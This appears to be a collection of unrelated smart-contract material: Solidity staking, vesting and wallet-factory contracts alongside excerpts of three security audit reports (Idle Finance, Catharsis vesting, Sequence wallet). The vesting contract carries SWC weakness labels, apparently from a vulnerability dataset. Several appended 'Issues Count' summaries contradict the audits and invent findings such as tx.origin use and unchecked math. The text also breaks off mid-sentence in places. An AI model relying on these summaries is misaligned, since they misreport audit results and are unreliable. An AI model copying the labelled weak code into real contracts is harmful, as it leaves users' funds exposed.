rewards[i]; usersIndexes[msg.sender][reward] = rewardsIndexes[reward]; } } else { // Claim all rewards accrued _claim(); } // if _amount is greater than usersStakes[msg.sender], the next line fails usersStakes[msg.sender] -= _amount; IERC20Detailed(tranche).safeTransfer(msg.sender, _amount); totalStaked -= _amount; } /// @notice Sends all the expected rewards to the msg.sender /// @dev User index is reset function claim() whenNotPaused nonReentrant external { _claim(); } /// @notice Claim all rewards, used by claim and unstake function _claim() internal { address[] memory _rewards = rewards; for (uint256 i = 0; i < _rewards.length; i++) { address reward = _rewards[i]; uint256 amount = expectedUserReward(msg.sender, reward); uint256 balance = IERC20Detailed(reward).balanceOf(address(this)); if (amount > balance) { amount = balance; } // Set the user address equal to the global one usersIndexes[msg.sender][reward] = rewardsIndexes[reward]; IERC20Detailed(reward).safeTransfer(msg.sender, amount); } } /// @notice Calculates the expected rewards for a user /// @param user The user address /// @param reward The reward token address /// @return The expected reward amount function expectedUserReward(address user, address reward) public view returns(uint256) { require(_includesAddress(rewards, reward), "!SUPPORTED"); return ((rewardsIndexes[reward] - usersIndexes[user][reward]) * usersStakes[user]) / ONE_TRANCHE_TOKEN; } /// @notice Called by the CDO to deposit rewards /// @param _reward The rewards token address /// @param _amount The amount to deposit function depositReward(address _reward, uint256 _amount) external override { require(msg.sender == idleCDO, "!AUTH"); require(_includesAddress(rewards, _reward), "!SUPPORTED"); // Get rewards from CDO IERC20Detailed(_reward).safeTransferFrom(msg.sender, address(this), _amount); if (totalStaked > 0) { // rewards are splitted among all stakers rewardsIndexes[_reward] += _amount * ONE_TRANCHE_TOKEN / totalStaked; } } /// @notice It sets the coolingPeriod value /// @param _newCoolingPeriod The new cooling period function setCoolingPeriod(uint256 _newCoolingPeriod) external onlyOwner { coolingPeriod = _newCoolingPeriod; } /// @notice Update user indexes based on the amount being staked /// @param _user The user who is staking /// @param _amountToStake The amound staked function _updateUserIdx(address _user, uint256 _amountToStake) internal { address[] memory _rewards = rewards; uint256 userIndex; address reward; uint256 _currStake = usersStakes[_user]; for (uint256 i = 0; i < _rewards.length; i++) { reward = _rewards[i]; if (_currStake == 0) { // Set the user address equal to the global one usersIndexes[_user][reward] = rewardsIndexes[reward]; } else { userIndex = usersIndexes[_user][reward]; // Calculate the new user idx usersIndexes[_user][reward] = userIndex + ( _amountToStake * (rewardsIndexes[reward] - userIndex) / (_currStake + _amountToStake) ); } } } /// @dev this method is only used to check whether a token is an incentive tokens or not /// in the harvest call. The maximum number of element in the array will be a small number (eg at most 3-5) /// @param _array array of addresses to search for an element /// @param _val address of an element to find /// @return flag if the _token is an incentive token or not function _includesAddress(address[] memory _array, address _val) internal pure returns (bool) { for (uint256 i = 0; i < _array.length; i++) { if (_array[i] == _val) { return true; } } // explicit return to fix linter return false; } // Emergency method, funds gets transferred to the governanceRecoveryFund address function transferToken(address token, uint256 value) external onlyOwner nonReentrant returns (bool) { require(token != address(0), 'Address is 0'); IERC20Detailed(token).safeTransfer(governanceRecoveryFund, value); return true; } /// @notice can be called by both the owner and the guardian /// @dev Pauses deposits and redeems function pause() external onlyOwner { _pause(); } /// @notice can be called by both the owner and the guardian /// @dev Unpauses deposits and redeems function unpause() external onlyOwner { _unpause(); } }
Idle Finance Idle Finance Date Date June 2021 Auditors Auditors Shayan Eskandari, Nicholas Ward Download Download PDF  1 Executive Summary 1 Executive Summary This report presents the results of our engagement with Idle Finance Idle Finance to review Idle Idle Dynamic Tranches Dynamic Tranches . The review was conducted by Nicholas Ward Nicholas Ward and Shayan Eskandari Shayan Eskandari over the course of 20 person-days in June & July 2021. 2 Scope 2 Scope The original review of 10 person-days began with commit hash d94ee7194e8cb17db13b16c338f3e780b62f5435 and incorporated commit hash 26d190539dec83c603edc9b5a903ce9b29b33a07 , which provided a fix for an issue discovered independently by the development team. The complete list of files in scope for the initial review can be found in the Appendix . Due to the limited time available for the review, this was a best effort code review and does not cover the full extent of the codebase. Note that many of the contracts in the scope call functions in the idleToken contracts which are out of the scope of the audit. We briefly reviewed the implementation of the Idle governance token to better understand the system. Due to complexity of many of the calls (e.g. harvest() , flashloan() , etc) and the integration of many external DeFi projects(e.g. Compound, Uniswap, etc) the validity of the calculations and the code flow using purely manual review is close to impossible. We suggest an extensive integration and fuzzing test suites as an addition to the findings and recommendations in this report. A second 10 person-day review focused largely on the IdleCDO contract. This review began with commit 1cf2b76bcda56807a35162ef4a65bcba0b6250e0 and incorporated commit ff0b69380828657f16df8683c35703b325a6b656 . A Mythx analysis report can be viewed here .3 System Overview 3 System Overview Idle finance is comprised of many modules surrounding the main contract IdleCDO.sol . This includes ERC20 contracts for the Tranches and the interfaces for reward tokens, as well as Strategy contracts which will interact with different lending protocols. Many of the core functionality calls into IdleTokenGovernance.sol implementation, such as pricing and Idle token functionality. The following is an overview of the Idle Finance contracts. The harvest() method was used to illustrate some of the contract interactions involved. System Overview Contracts are depicted as boxes. Public reachable interface methods are outlined as rows in the box. The
Issues Count of Minor/Moderate/Major/Critical: Minor: 2 Moderate: 0 Major: 0 Critical: 0 Minor Issues: 2.a Problem (one line with code reference): Unchecked return value in the harvest() function of the IdleCDO contract (line 545). 2.b Fix (one line with code reference): Check the return value of the harvest() function (line 545). Moderate: None Major: None Critical: None Observations: The review was conducted over the course of 20 person-days in June & July 2021. The original review of 10 person-days began with commit hash d94ee7194e8cb17db13b16c338f3e780b62f5435 and incorporated commit hash 26d190539dec83c603edc9b5a903ce9b29b33a07, which provided a fix for an issue discovered independently by the development team. A second 10 person-day review focused largely on the IdleCDO contract. This review began with commit 1cf2b76bcda56807a35162ef4a65bc
// SPDX-License-Identifier: MIT // SWC-Floating Pragma: L3 pragma solidity ^0.8.4; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; /** * @title Vesting contract with batch lock and claim possibility, * support only target token, user can claim and get actual * reward data in range dependant on selected lock index. */ contract Vesting is Ownable, ReentrancyGuard { using SafeERC20 for IERC20; uint256 public constant MAX_LOCK_LENGTH = 100; IERC20 public token; uint256 public startAt; struct LockBatchInput { address account; uint256[] unlockAt; uint256[] amounts; } struct Lock { uint256[] amounts; uint256[] unlockAt; uint256 released; } struct Balance { Lock[] locks; } mapping (address => Balance) private _balances; event TokensVested(address indexed _to, uint256 _amount); event TokensClaimed(address indexed _beneficiary, uint256 _amount); constructor(IERC20 _baseToken, uint256 _startAt) { token = _baseToken; startAt = _startAt; } /** * @dev Returns {_participant} vesting plan by {_index}. */ function getLocks(address _participant, uint _index) public view returns ( uint256[] memory amounts, uint256[] memory unlocks ) { Lock memory _lock = _balances[_participant].locks[_index]; amounts = _lock.amounts; unlocks = _lock.unlockAt; } /** * @dev Returns amount of vesting plans by {_participant} address. */ function getLocksLength(address _participant) public view returns (uint256) { return _balances[_participant].locks.length; } /** * @dev Returns vesting plan {_lockIndex} length by {_participant} address. */ function getItemsLengthByLockIndex(address _participant, uint256 _lockIndex) external view returns (uint256) { require(_balances[_participant].locks.length > _lockIndex, "Index not exist"); return _balances[_participant].locks[_lockIndex].amounts.length; } /** * @dev Locking {_amounts} with {_unlockAt} date for specific {_account}. */ function lock(address _account, uint256[] memory _unlockAt, uint256[] memory _amounts) external onlyOwner returns (uint256 totalAmount) { require(_account != address(0), "Zero address"); require( _unlockAt.length == _amounts.length && _unlockAt.length <= MAX_LOCK_LENGTH, "Wrong array length" ); require(_unlockAt.length != 0, "Zero array length"); for (uint i = 0; i < _unlockAt.length; i++) { if (i == 0) { require(_unlockAt[0] >= startAt, "Early unlock"); } if (i > 0) { if (_unlockAt[i-1] >= _unlockAt[i]) { require(false, "Timeline violation"); } } totalAmount += _amounts[i]; } token.safeTransferFrom(msg.sender, address(this), totalAmount); _balances[_account].locks.push(Lock({ amounts: _amounts, unlockAt: _unlockAt, released: 0 })); } /** * @dev Same as {Vesting.lock}, but in the batches. */ function lockBatch(LockBatchInput[] memory _input) external onlyOwner returns (uint256 totalAmount) { uint256 inputsLen = _input.length; uint256 lockLen; uint i; uint ii; for (i; i < inputsLen; i++) { lockLen = _input[i].unlockAt.length; for (ii; ii < lockLen; ii++) { if (_input[i].account == address(0)) { require(false, "Zero address"); } else if ( _input[i].unlockAt.length != _input[i].amounts.length || _input[i].unlockAt.length > MAX_LOCK_LENGTH ) { require(false, "Wrong array length"); // SWC-Code With No Effects: L149 } else if (_input[i].unlockAt.length == 0) { require(false, "Zero array length"); } if (ii == 0) { require(_input[i].unlockAt[0] >= startAt, "Early unlock"); } if (ii > 0) { if (_input[i].unlockAt[ii-1] >= _input[i].unlockAt[ii]) { require(false, "Timeline violation"); } } totalAmount += _input[i].amounts[ii]; } ii = 0; } token.safeTransferFrom(msg.sender, address(this), totalAmount); i = 0; for (i; i < inputsLen; i++) { _balances[_input[i].account].locks.push(Lock({ amounts: _input[i].amounts, unlockAt: _input[i].unlockAt, released: 0 })); } } /** * @dev Returns next unlock timestamp by all locks, if return zero, * no time points available. */ function getNextUnlock(address _participant) public view returns (uint256 timestamp) { uint256 locksLen = _balances[_participant].locks.length; uint currentUnlock; uint i; for (i; i < locksLen; i++) { currentUnlock = _getNextUnlock(_participant, i); if (currentUnlock != 0) { if (timestamp == 0) { timestamp = currentUnlock; } else { if (currentUnlock < timestamp) { timestamp = currentUnlock; } } } } } /** * @dev Returns next unlock timestamp by {_lockIndex}. */ function getNextUnlockByIndex(address _participant, uint256 _lockIndex) public view returns (uint256 timestamp) { uint256 locksLen = _balances[_participant].locks.length; require(locksLen > _lockIndex, "Index not exist"); timestamp = _getNextUnlock(_participant, _lockIndex); } /** * @dev Returns total pending reward by {_participant} address. */ function pendingReward(address _participant) external view returns (uint256 reward) { reward = _pendingReward(_participant, 0, _balances[_participant].locks.length); } /** * @dev Returns pending reward by {_participant} address in range. */ function pendingRewardInRange(address _participant, uint256 _from, uint256 _to) external view returns (uint256 reward) { reward = _pendingReward(_participant, _from, _to); } /** * @dev Claim available reward. */ function claim(address _participant) external nonReentrant returns (uint256 claimed) { claimed = _claim(_participant, 0, _balances[_participant].locks.length); } /** * @dev Claim available reward in range. */ function claimInRange(address _participant, uint256 _from, uint256 _to) external nonReentrant returns (uint256 claimed) { claimed = _claim(_participant, _from, _to); } function _pendingReward(address _participant, uint256 _from, uint256 _to) internal view returns (uint256 reward) { uint amount; uint released; uint i = _from; uint ii; for (i; i < _to; i++) { uint len = _balances[_participant].locks[i].amounts.length; for (ii; ii < len; ii++) { if (block.timestamp >= _balances[_participant].locks[i].unlockAt[ii]) { amount += _balances[_participant].locks[i].amounts[ii]; } } released += _balances[_participant].locks[i].released; ii = 0; } if (amount >= released) { reward = amount - released; } } function _claim(address _participant, uint256 _from, uint256 _to) internal returns (uint256 claimed) { uint amount; uint released; uint i = _from; uint ii; for (i; i < _to; i++) { uint toRelease; uint len = _balances[_participant].locks[i].amounts.length; for (ii; ii < len; ii++) { if (block.timestamp >= _balances[_participant].locks[i].unlockAt[ii]) { amount += _balances[_participant].locks[i].amounts[ii]; toRelease += _balances[_participant].locks[i].amounts[ii]; } } released += _balances[_participant].locks[i].released; if (toRelease > 0 && _balances[_participant].locks[i].released < toRelease) { _balances[_participant].locks[i].released = toRelease; } ii = 0; } require(amount >= released, "Nothing to claim"); claimed = amount - released; require(claimed > 0, "Zero claim"); token.safeTransfer(_participant, claimed); emit TokensClaimed(_participant, claimed); } function _getNextUnlock(address _participant, uint256 _lockIndex) internal view returns (uint256 timestamp) { Lock memory _lock = _balances[_participant].locks[_lockIndex]; uint256 lockLen = _lock.unlockAt.length; uint i; for (i; i < lockLen; i++) { if (block.timestamp < _lock.unlockAt[i]) { timestamp = _lock.unlockAt[i]; return timestamp; } } } }
01Audit Report July, 2021Contents Scope of Audit 01 02 03 04 11 15 16Techniques and Methods Issue Categories Issues Found – Code Review/Manual Testing SummaryAutomated Testing Disclaimer050401 The scope of this audit was to analyze and document the Catharsis Token smart contract codebase for quality, security, and correctness. We have scanned the smart contract for commonly known and more specific vulnerabilities. Here are some of the commonly known vulnerabilities that we considered:Scope of Audit Checked Vulnerabilities Re-entrancy Timestamp Dependence Gas Limit and Loops DoS with Block Gas Limit Transaction-Ordering Dependence Use of tx.origin Exception disorder Gasless send Balance equality Byte array Transfer forwards all gas ERC20 API violation Malicious libraries Compiler version not fixed Redundant fallback function Send instead of transfer Style guide violation Unchecked external call Unchecked math Unsafe type inference Implicit visibility level 0502Techniques and Methods Throughout the audit of smart contract, care was taken to ensure: The overall quality of code. Use of best practices. Code documentation and comments match logic and expected behaviour. Token distribution and calculations are as per the intended behaviour mentioned in the whitepaper. Implementation of ERC-20 token standards. Efficient use of gas. Code is safe from re-entrancy and other vulnerabilities. The following techniques, methods and tools were used to review all the smart contracts. Structural Analysis In this step we have analyzed the design patterns and structure of smart contracts. A thorough check was done to ensure the smart contract is structured in a way that will not result in future problems. SmartCheck. Static Analysis Static Analysis of Smart Contracts was done to identify contract vulnerabilities. In this step a series of automated tools are used to test security of smart contracts. Code Review / Manual Analysis Manual Analysis or review of code was done to identify new vulnerability or verify the vulnerabilities found during the static analysis. Contracts were completely manually analyzed, their logic was checked and compared with the one described in the whitepaper. Besides, the results of automated analysis were manually verified. Gas Consumption In this step we have checked the behaviour of smart contracts in production. Checks were done to know how much gas gets consumed and possibilities of optimization of code to reduce gas consumption. 0203Tools and Platforms used for Audit Remix IDE, Truffle, Truffle Team, Ganache, Solhint, Mythril, Slither, SmartCheck. Low level severity issues InformationalMedium level severity issuesHigh severity issuesIssue Categories Low level severity issues can cause minor impact and or are just warnings that can remain unfixed for now. It would be better to fix these issues at some point in the future. These are severity four issues which indicate an improvement request, a general question, a cosmetic or documentation error, or a request for information. There is low-to-no impact. The issues marked as medium severity usually arise because of errors and deficiencies in the smart contract code. Issues on this level could potentially bring problems and they should still be fixed. A high severity issue or vulnerability means that your smart contract can be exploited. Issues on this level are critical to the smart contract’s performance or functionality and we recommend these issues to be fixed before moving to a live environment. Every issue in this report has been assigned with a severity level. There are four levels of severity and each of them has been explained below.0404Number of issues per severity Introduction During the period of July 12, 2021 to July 15, 2021 - QuillAudits Team performed a security audit for Catharsis smart contracts. The code for the audit was taken from the following official link: https://github.com/CatharsisNetwork/catharsis-vesting/blob/main/ contracts/Vesting.solOpenType High ClosedLow 0 0 0 00 0 5 2Medium Informa tional Note Date Commit hash Version 1 Version 2 Version 3July July July 22d1bb2e234b79b10c33a4ec76ce2a98d2825364 e16459f6f7b348a89ac61dadbb59e4cb0f455be2 de7e905754ac582266f96386e15cb1a7f3f93b6905051.Issues Found – Code Review / Manual Testing High severity issues Line Code 144-156 for (i; i < inputsLen; i++) { lockLen = _input[i].unlockAt.length; for (ii; ii < lockLen; ii++) { if (_input[i].account == address(0)) { require(false, "Zero address"); } else if ( _input[i].unlockAt.length != _input[i].amounts.length || _input[i].unlockAt.length > MAX_LOCK_LENGTH ) { require(false, "Wrong array length"); } else if (_input[i].unlockAt.length == 0) { require(false, "Zero array length"); } Wrong inputs can be passed to locks Description The function lockBatch() can be passed an empty array as input for unlockAt[] in the lock. This means the nested for loop is never executed, and the important requirements inside it are never checked. Now, this allows the role Owner to input: address(0) as account Empty array [] as unlockAt[] Array with any number of elements (including 0) as amounts[] If such input is passed, the following functions will revert : pendingReward() claim()No issues were found. No issues were found.Medium severity issues Low level severity issues0506 Description In the lockBatch() function, TokenVested event is emitted for every new lock with the amount and address as parameters. Before emitting the event, the amount is calculated using a for loop. But the event is emitted before completion of that loop, with wrong values of amount. This is due to an error in the statement which is used to determine the end of the loop. Remediation Use l - 1 in place of l - ii , to determine the end of the loop. Remediation As the function is protected by the modifier onlyOwner, allowing only the role Owner to call this function, the inputs should be checked properly before calling the function by the owner. We also recommend checking that if the input array is empty for a lock, then do not push that lock into the _balance[account] mapping. Status: Closed Function lockBatch() was fixed in Version 2, and now the security checks are done before saving the locks into the storage. Status: Closed This issue was fixed in version 3.Line Code 197 if (ii == l - ii) {2. Wrong inputs can be passed to locks0507 Missing Events for Significant Transactions Description The missing event makes it difficult to track off-chain liquidity fee changes. An event should be emitted for significant transactions calling the function lock() and lockBatch(). Remediation We recommend emitting the unused event TokensVested when the lock() and lockBatch() functions are called. Description This statement is inside a for loop, which iterates over unlockAt[] array. If the array has length == 0, then the loop is never executed, and this condition is never checked. Remediation We recommend removing this code.3.Informational Status: Closed In Version 2, Event ‘TokensVested’ is emitted for lock() and lockBatch() functions. Status: Closed This issue was fixed in Version 2.Line Code 154-156 } else if (_input[i].unlockAt.length == 0) { require(false, "Zero array length"); } Redundant Code4.0508 Description Contracts should be deployed with the same compiler version and flags that they have been tested with thoroughly. Locking the pragma helps to ensure that contracts do not accidentally get deployed using, for example, an outdated compiler version that might introduce bugs that affect the contract system negatively. Remediation Lock the pragma version and also consider known bugs for the compiler version that is chosen.pragma solidity ^0.8.4; uint256 public startAt IERC20 public token Floating Pragma5. Description The above constant state variable should be declared immutable to save gas. Remediation Add the immutable attributes to state variables that never change after contact creation. State variables that could be declared immutable6. Status: Closed In Version 2, the solidity pragma version was locked to 0.8.4. Status: Closed The variables were declared immutable in version 3.0509Description The following public functions that are never called by the contract should be declared external to save gas: getNextUnlock() getNextUnlockByIndex() getLocks() getLocksLength() Remediation Use the external attribute for functions never called from the contract.Public function that could be declared external7. Status: Closed Functions were declared as external in Version 2.0510Functional test Function Names Testing results lock() lockBatch() getNextUnlock() getNextUnlockByIndex() pendingR eward() pendingRew ardInRange() claim() claimInRange() getLocksLength() getItemsLengt hByLockIndex() getLocks() Passed Passed Passed Passed Passed Passed Passed Passed Passed Passed Passed051 1Automated Testing Slither 0512 0513 0514Results No major issues were found. Some false positive errors were reported by the tool. All the other issues have been categorized above according to their level of severity. Disclaimer Quillhash audit is not a security warranty, investment advice, or an endorsement of the Catharsis platform. This audit does not provide a security or correctness guarantee of the audited smart contracts. The statements made in this document should not be interpreted as investment or legal advice, nor should its authors be held accountable for decisions made based on them. Securing smart contracts is a multistep process. One audit cannot be considered enough. We recommend that the Catharsis Team put in place a bug bounty program to encourage further analysis of the smart contract by other third parties. 15Closing Summary 16Overall, smart contracts are very well written and adhere to guidelines. No instances of Integer Overflow and Underflow vulnerabilities or Back- Door Entry were found in the contract, but relying on other contracts might cause Reentrancy Vulnerability. Numerous issues were discovered during the initial audit. All of them are now fixed and checked for correctness.17
Issues Count of Minor/Moderate/Major/Critical Minor: 4 Moderate: 2 Major: 0 Critical: 0 Minor Issues 2.a Problem: Use of tx.origin (Severity 4) 2.b Fix: Replace tx.origin with msg.sender 3.a Problem: Style guide violation (Severity 4) 3.b Fix: Follow the Solidity style guide 4.a Problem: Redundant fallback function (Severity 4) 4.b Fix: Remove the redundant fallback function 5.a Problem: Send instead of transfer (Severity 4) 5.b Fix: Replace send with transfer Moderate Issues 6.a Problem: Unchecked external call (Severity 3) 6.b Fix: Check the return value of external calls 7.a Problem: Unchecked math (Severity 3) 7.b Fix: Check the return value of math operations Observations The codebase is well structured and follows the best practices. Conclusion The Catharsis Token smart contract codebase is secure and follows the best practices. No critical Fix The statement should be changed to: for (uint256 i = 0; i < inputsLen; i++) { Conclusion The audit report concluded that there were no critical issues found in the smart contract code. There were two medium severity issues and five low severity issues. All of these issues have been fixed and the code has been updated. Issues Count of Minor/Moderate/Major/Critical Minor: 5 Moderate: 2 Major: 0 Critical: 0 Minor Issues 2.a Problem: Wrong inputs can be passed to locks 2.b Fix: Require statement should be added to check for wrong inputs 3.a Problem: TokenVested event is emitted with wrong values of amount 3.b Fix: Statement should be changed to determine the end of the loop Major: 0 Critical: 0 Observations No critical issues were found in the smart contract code. Conclusion The audit report concluded that there were two medium severity issues and five low severity issues. All of these issues have been fixed and the code has been updated. Issues Count of Minor/Moderate/Major/Critical Minor: 2 Moderate: 1 Major: 0 Critical: 0 Minor Issues 1. Problem: Use l - 1 in place of l - ii, to determine the end of the loop. Fix: Use l - 1 in place of l - ii, to determine the end of the loop. 2. Problem: Wrong inputs can be passed to locks0507. Fix: As the function is protected by the modifier onlyOwner, allowing only the role Owner to call this function, the inputs should be checked properly before calling the function by the owner. We also recommend checking that if the input array is empty for a lock, then do not push that lock into the _balance[account] mapping. Moderate 1. Problem: Missing Events for Significant Transactions. Fix: We recommend emitting the unused event TokensVested when the lock() and lockBatch() functions are called. Major: None Critical: None Observations Contracts should be deployed with the same compiler version and flags that they have been tested with thoroughly. Locking the pragma helps to ensure that contracts do not accidentally get deployed using
// SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.6; import "./Wallet.sol"; contract Factory { /** * @notice Will deploy a new wallet instance * @param _mainModule Address of the main module to be used by the wallet * @param _salt Salt used to generate the wallet, which is the imageHash * of the wallet's configuration. * @dev It is recommended to not have more than 200 signers as opcode repricing * could make transactions impossible to execute as all the signers must be * passed for each transaction. */ function deploy(address _mainModule, bytes32 _salt) public payable returns (address _contract) { bytes memory code = abi.encodePacked(Wallet.creationCode, uint256(_mainModule)); assembly { _contract := create2(callvalue(), add(code, 32), mload(code), _salt) } } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.6; /** Minimal upgradeable proxy implementation, delegates all calls to the address defined by the storage slot matching the wallet address. Inspired by EIP-1167 Implementation (https://eips.ethereum.org/EIPS/eip-1167) deployed code: 0x00 0x36 0x36 CALLDATASIZE cds 0x01 0x3d 0x3d RETURNDATASIZE 0 cds 0x02 0x3d 0x3d RETURNDATASIZE 0 0 cds 0x03 0x37 0x37 CALLDATACOPY 0x04 0x3d 0x3d RETURNDATASIZE 0 0x05 0x3d 0x3d RETURNDATASIZE 0 0 0x06 0x3d 0x3d RETURNDATASIZE 0 0 0 0x07 0x36 0x36 CALLDATASIZE cds 0 0 0 0x08 0x3d 0x3d RETURNDATASIZE 0 cds 0 0 0 0x09 0x30 0x30 ADDRESS addr 0 cds 0 0 0 0x0A 0x54 0x54 SLOAD imp 0 cds 0 0 0 0x0B 0x5a 0x5a GAS gas imp 0 cds 0 0 0 0x0C 0xf4 0xf4 DELEGATECALL suc 0 0x0D 0x3d 0x3d RETURNDATASIZE rds suc 0 0x0E 0x82 0x82 DUP3 0 rds suc 0 0x0F 0x80 0x80 DUP1 0 0 rds suc 0 0x10 0x3e 0x3e RETURNDATACOPY suc 0 0x11 0x90 0x90 SWAP1 0 suc 0x12 0x3d 0x3d RETURNDATASIZE rds 0 suc 0x13 0x91 0x91 SWAP2 suc 0 rds 0x14 0x60 0x18 0x6018 PUSH1 0x18 suc 0 rds /-- 0x16 0x57 0x57 JUMPI 0 rds | 0x17 0xfd 0xfd REVERT \-> 0x18 0x5b 0x5b JUMPDEST 0 rds 0x19 0xf3 0xf3 RETURN flat deployed code: 0x363d3d373d3d3d363d30545af43d82803e903d91601857fd5bf3 deploy function: 0x00 0x60 0x3a 0x603a PUSH1 0x3a 0x02 0x60 0x0e 0x600e PUSH1 0x0e 0x3a 0x04 0x3d 0x3d RETURNDATASIZE 0 0x0e 0x3a 0x05 0x39 0x39 CODECOPY 0x06 0x60 0x1a 0x601a PUSH1 0x1a 0x08 0x80 0x80 DUP1 0x1a 0x1a 0x09 0x51 0x51 MLOAD imp 0x1a 0x0A 0x30 0x30 ADDRESS addr imp 0x1a 0x0B 0x55 0x55 SSTORE 0x1a 0x0C 0x3d 0x3d RETURNDATASIZE 0 0x1a 0x0D 0xf3 0xf3 RETURN [...deployed code] flat deploy function: 0x603a600e3d39601a805130553df3363d3d373d3d3d363d30545af43d82803e903d91601857fd5bf3 */ library Wallet { bytes internal constant creationCode = hex"603a600e3d39601a805130553df3363d3d373d3d3d363d30545af43d82803e903d91601857fd5bf3"; }
February 24th 2021— Quantstamp Verified Sequence Smart Wallet This security assessment was prepared by Quantstamp, the leader in blockchain security. Executive Summary Type Smart Contract Wallet Auditors Martin Derka , Senior Research EngineerAlex Murashkin , Senior Software EngineerSung-Shine Lee , Research EngineerTimeline 2021-01-28 through 2021-02-08 EVM Muir Glacier Languages Solidity Methods Architecture Review, Unit Testing, Functional Testing, Computer-Aided Verification, Manual Review Specification Online code walk-through Documentation Quality Medium Test Quality High Source Code Repository Commit wallet-contracts 7492cb3 Goals Assessing support of ERC1271 •Assessing security of the signing mechanism after the changes •Total Issues 2 (0 Resolved)High Risk Issues 0 (0 Resolved)Medium Risk Issues 0 (0 Resolved)Low Risk Issues 0 (0 Resolved)Informational Risk Issues 2 (0 Resolved)Undetermined Risk Issues 0 (0 Resolved) High Risk The issue puts a large number of users’ sensitive information at risk, or is reasonably likely to lead to catastrophic impact for client’s reputation or serious financial implications for client and users. Medium Risk The issue puts a subset of users’ sensitive information at risk, would be detrimental for the client’s reputation if exploited, or is reasonably likely to lead to moderate financial impact. Low Risk The risk is relatively small and could not be exploited on a recurring basis, or is a risk that the client has indicated is low- impact in view of the client’s business circumstances. Informational The issue does not post an immediate risk, but is relevant to security best practices or Defence in Depth. Undetermined The impact of the issue is uncertain. Unresolved Acknowledged the existence of the risk, and decided to accept it without engaging in special efforts to control it. Acknowledged The issue remains in the code but is a result of an intentional business or design decision. As such, it is supposed to be addressed outside the programmatic means, such as: 1) comments, documentation, README, FAQ; 2) business processes; 3) analyses showing that the issue shall have no negative consequences in practice (e.g., gas analysis, deployment settings). Resolved Adjusted program implementation, requirements or constraints to eliminate the risk. Mitigated Implemented actions to minimize the impact or likelihood of the risk. Summary of FindingsThis audit is based on Quantstamp's previous . The only part within the scope of the audit is the pull request concerned with support of ERC1271. audit of the Arcadeum Wallet #105 Overall, the code provides support for ERC1271, is well organized, respects the best practices (with the exception of the instances listed in this report), and is equipped with a reasonable amount of in-code documentation. The auditors did not discover any serious security concerns, and only missed a more comprehensive external documentation of the codebase in its entirety. The Sequence Smart Wallet team acknowledged all findings outlined in this report. Update: ID Description Severity Status QSP- 1 Unhandled Overflows Informational Acknowledged QSP- 2 Missing Return Values Informational Acknowledged Quantstamp Audit Breakdown Quantstamp's objective was to evaluate the repository for security-related issues, code quality, and adherence to specification and best practices. Possible issues we looked for included (but are not limited to): Transaction-ordering dependence •Timestamp dependence •Mishandled exceptions and call stack limits •Unsafe external calls •Integer overflow / underflow •Number rounding errors •Reentrancy and cross-function vulnerabilities •Denial of service / logical oversights •Access control •Centralization of power •Business logic contradicting the specification •Code clones, functionality duplication •Gas usage •Arbitrary token minting •Methodology The Quantstamp auditing process follows a routine series of steps: 1. Code review that includes the following i. Review of the specifications, sources, and instructions provided to Quantstamp to make sure we understand the size, scope, and functionality of the smart contract. ii. Manual review of code, which is the process of reading source code line-by-line in an attempt to identify potential vulnerabilities. iii. Comparison to specification, which is the process of checking whether the code does what the specifications, sources, and instructions provided to Quantstamp describe. 2. Testing and automated analysis that includes the following: i. Test coverage analysis, which is the process of determining whether the test cases are actually covering the code and how much code is exercised when we run those test cases. ii. Symbolic execution, which is analyzing a program to determine what inputs cause each part of a program to execute. 3. Best practices review, which is a review of the smart contracts to improve efficiency, effectiveness, clarify, maintainability, security, and control based on the established industry and academic practices, recommendations, and research. 4. Specific, itemized, and actionable recommendations to help you take steps to secure your smart contracts. Findings QSP-1 Unhandled Overflows Severity: Informational Acknowledged Status: File(s) affected: contracts/utils/LibBytes.sol As pointed by an internal code review of the 0xSequence wallet contributors, there are unhandled possible overflows on lines and . Quantstamp confirmed that the calls currently made to the functions in question cannot reach the overflow state, this does not need to be the case for future uses of these function. Description:LibBytes.sol#146 LibBytes.sol#185 Quantstamp recommends checking overflows and reverting if they happen. Recommendation: QSP-2 Missing Return Values Severity:Informational Acknowledged Status: File(s) affected: contracts/modules/commons/ModuleAuth.sol Function in is missing a return statement for the else branch. While this does not pose a problem in the current system, a future potential caller attempting to decode the returned byte value may fail. Description:isValidSignature ModuleAuth Quantstamp recommends explicitly returning a value when the signature validation fails. Recommendation: Adherence to Specification The code adheres to the specification and ERC1271. Code Documentation The code adheres to the documentation. Adherence to Best Practices LibBytes.sol#L93: We suggest renaming to to better capture its purpose without clashing with naming that is not related to dynamic signatures. •isValidSignature() isValidDynamicSignature() Some simplification of appears possible. The value after the byte array can be lifted before the iteration, and then the iteration can handle the entire array: •readyBytes() function readBytes( bytes memory data, uint256 index, uint256 size ) internal pure returns (bytes memory a, uint256 newIndex) { a = new bytes(size); assembly { let offset := add(32, add(data, index)) // Load word after new array let suffix := add(a, add(32, size)) let suffixWord := mload(suffix) let i := 0 let n := 32 // Copy each word, INCLUDING last one for { } lt(i, size) { i := n n := add(n, 32) } { mstore(add(a, n), mload(add(offset, i))) } // Restore after array mstore(suffix, suffixWord) newIndex := add(index, size) } require(newIndex <= data.length, "LibBytes#readBytes: OUT_OF_BOUNDS"); } Test Results Test Suite Results The test suite is comprehensive and adequate. Contract: ERC165 Implement all interfaces for ERC165 on MainModule ✓ Should return implements IModuleHooks interfaceId (125ms) ✓ Should return implements IERC223Receiver interfaceId (83ms) ✓ Should return implements IERC721Receiver interfaceId (69ms) ✓ Should return implements IERC1155Receiver interfaceId (67ms) ✓ Should return implements IERC1271Wallet interfaceId (67ms) ✓ Should return implements IModuleCalls interfaceId (70ms) ✓ Should return implements IModuleCreator interfaceId (65ms) ✓ Should return implements IModuleHooks interfaceId (60ms) ✓ Should return implements IModuleUpdate interfaceId (62ms) Implement all interfaces for ERC165 on MainModuleUpgradable ✓ Should return implements IModuleHooks interfaceId (79ms) ✓ Should return implements IERC223Receiver interfaceId (78ms) ✓ Should return implements IERC721Receiver interfaceId (66ms) ✓ Should return implements IERC1155Receiver interfaceId (84ms) ✓ Should return implements IERC1271Wallet interfaceId (96ms) ✓ Should return implements IModuleCalls interfaceId (87ms) ✓ Should return implements IModuleCreator interfaceId (170ms) ✓ Should return implements IModuleHooks interfaceId (99ms) ✓ 